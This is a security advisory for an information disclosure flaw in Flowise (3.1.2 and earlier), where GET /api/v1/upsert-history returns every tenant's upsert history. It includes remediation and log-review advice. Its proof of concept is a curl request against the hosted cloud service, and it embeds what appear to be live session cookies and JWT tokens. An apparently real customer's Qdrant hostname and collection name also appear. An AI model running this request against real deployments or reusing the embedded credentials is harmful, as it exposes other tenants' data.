CVE-2026-70473: Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history

The endpoint applies no tenant or workspace scoping and no pagination. The report observed a global history in the response, which the reporter says points to missing authorization checks and missing data scoping. Each history record holds the node parameters used in the upsert. In the example excerpt, a Qdrant node shows qdrantServerUrl (a cloud Qdrant hostname), qdrantCollection, qdrantVectorDimension (1536), contentPayloadKey and metadataPayloadKey.

That is reconnaissance material. An attacker learns which vector databases other tenants use, where they are hosted, the collection names and the schema of stored documents. It may support a targeted follow-up attack against those services. The advisory does not show API keys in the excerpt.

The reporter reproduced it with a plain curl against the endpoint on the hosted Flowise Cloud service using a logged-in session, saved the output to a file and checked the size. The vector lists low privileges. A second effect is load: repeated downloads of a response of that size can use up bandwidth, CPU and memory on the server, which the advisory flags as a denial of service risk.

The flowise npm package, version 3.1.2 and earlier. Any deployment that stores upsert history is exposed, and multi-workspace or multi-user setups most of all. Check the version:

npm ls flowise

Calling GET /api/v1/upsert-history with a low-privilege session and receiving data from other workspaces confirms the issue.

Upgrade flowise to 3.1.3.

npm install -g [email protected]

The fix is in pull request 6170. The advisory gives no workaround. If the endpoint was reachable by users you do not fully trust, review which vector databases and collections appear in your history, and restrict network access to those services. Rotate any API keys you put into node parameters that were stored in history.

Check access logs for GET /api/v1/upsert-history calls, particularly from non-admin users or addresses you do not recognize, and for unusually large responses (tens or hundreds of megabytes) and repeated calls. Check the Qdrant or other vector store access logs for connections from unfamiliar addresses to the collections listed in your history. Look at the size of your upsert history table, since it determines how much a single request leaks.

Summary

The GET `/api/v1/upsert-history` endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

• Affected endpoint: GET /api/v1/upsert-history
• Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
• Authorization checks (RBAC/user-based access control)
• Data scoping (workspace/project/tenant isolation)
• Pagination/limits (excessive data exposure and very large responses)
• Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: ```json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant_0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] }

POC

1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history

curl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; __cf_bm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4f_QpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8_ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2s_eXblq8rTh8'   --compressed   -sS -o resp.json

1. Verify the response size (expected: very large, e.g., >100MB)

ls -lh resp.json

Impact

• Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping)
• Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history
• Security consequences:
• Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks
• Leakage of internal schema/pipeline details (e.g., content/metadata keys)
• Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)